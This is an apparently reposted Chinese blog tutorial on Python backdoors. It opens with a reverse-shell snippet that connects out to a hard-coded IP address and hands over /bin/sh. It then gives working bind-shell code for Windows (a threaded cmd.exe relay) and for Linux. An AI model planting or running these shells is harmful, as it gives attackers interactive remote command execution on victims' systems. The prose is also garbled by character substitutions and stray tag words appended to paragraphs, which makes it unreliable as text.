(转)python正向链接后门

python正向链接后门

PHITHON 
    python在linux下的反弹shell代码我相信不少人都见过:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("59.188.234.64",14575))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

    原理很简单。新建一个socket,并将0、一、2分别表明系统的stdin、stdout、stderr(标准输入、输出、错误)重定向到socket中,而后开启一个shell。这样咱们从socket中传来的命令就会进入系统的标准输入(就跟键盘输入的效果同样了),系统的输出和错误就会重定向到socket中,被咱们客户端获取。但这个弹shell脚本只能在linux下使用。python

    那么,本文着重讨论正向链接的shell,特别是windows下的cmdshell。linux

    咱们惟一的要求就是交互式。举个例子,我nc链接上后,执行cd xx目录进入某目录,再执行dir可以列出该目录下文件,而不是再开启一个cmd,又列出默认目录下文件。必定要是交互式的,不能是伪交互式。shell

    还有一个测试方式。咱们执行set a=1,再执行echo %a%,若是输出的是1,说明是交互式,不然不是交互式。windows

    关于交互式正向链接shell,有几个点须要注意

    1.无论在linux仍是windows下,想要作到交互式,就只能开启一个shell。不可以每次接收到命令就再开启一个shell进程,而后执行,这样作的效果和os.system('命令')相似,就不用搞这么复杂了。
    2.windows下cmd.exe /K参数是保持cmd不结束,/c参数是执行完后就结束,注意区别。

    我以前的想法是,python首先新建一个socket监听端口等待链接。客户端链接上之后,就开启一个shell进程,而后把进程的标准输入输出错误(stdin、stdout、stderr)都重定向到管道中,经过管道和python程序链接,py中的subprocess库已为咱们封装好了这个功能,咱们不用本身再新建管道了。
    而后进入一个循环,每次读取一下socket中数据,而后写入stdin中,经过管道传输给shell,shell执行完后,我用stdout.read()将结果读取到,再send给客户端。

    想法很单纯很美妙,但实践起来就出问题了。python中read不是异步的,只有读取指定字节或读取到EOF才会返回结果。若是没有EOF那么read就一直读,程序阻塞在这里,因而表现出来就是卡死了。我nc中输入dir,什么返回都没有。只要把python关掉,那边才会返回一个结果。
    因此,解决思路有四:
    1.若是能知道shell向管道里写入了多少字节数据,我read(n)读取这个字节数据便可
    2.若是有异步的read函数,调用也能解决问题
    3.实在没办法,能够另开启一个线程,专门读取管道中的数据
    4.不使用管道,直接把shell的输入输出定向到socket中。不过在windows下使用总报错,后面再讲。

    思路一、2,我是没想到好办法的。没办法知道管道内数据的大小,没找到异步read函数。
    我用思路3写出了windows下的正向链接cmdshell:多线程

from socket import *
import subprocess
import os, threading

def send(talk, proc):
        import time
        while True:
                msg = proc.stdout.readline()
                talk.send(msg)

if __name__ == "__main__":
        server=socket(AF_INET,SOCK_STREAM)
        server.bind(('0.0.0.0',11))
        server.listen(5)
        print 'waiting for connect'
        talk, addr = server.accept()
        print 'connect from',addr
        proc = subprocess.Popen('cmd.exe /K', stdin=subprocess.PIPE, 
                stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        t = threading.Thread(target = send, args = (talk, proc))
        t.setDaemon(True)
        t.start()
        while True:
                cmd=talk.recv(1024)
                proc.stdin.write(cmd)
                proc.stdin.flush()
        server.close()

    测试可用,是交互式的:异步

    03.jpg

    04.jpg

    用了多线程,开启了一个新线程,这个线程专门从stdout中read数据,即便阻塞也不会影响主线程的socket过程。

    我用思路4写了一个linux版本,能够完美使用:socket

from socket import *
import subprocess
import os, threading, sys, time

if __name__ == "__main__":
        server=socket(AF_INET,SOCK_STREAM)
        server.bind(('0.0.0.0',11))
        server.listen(5)
        print 'waiting for connect'
        talk, addr = server.accept()
        print 'connect from',addr
        proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
                stdout=talk, stderr=talk, shell=True)
    效果:

 

05.jpg

    直接在popen的时候,将新建进程的stdin、stdout、stderr都重定向到socket中。这样就能够不使用管道通讯了。这也是C语言下零管道后门的原理。
但不知道为何,我写了一个windows版本,老是报错:函数

    06.jpg

    不太能理解,windows版本就把/bin/sh替换成cmd.exe,但就出这个错。
    以上是我对python下正向链接shell的分析,但愿能帮到一样有困惑的人,其中纰漏与错误,能获得你们的斧正!post

相关文章
相关标签/搜索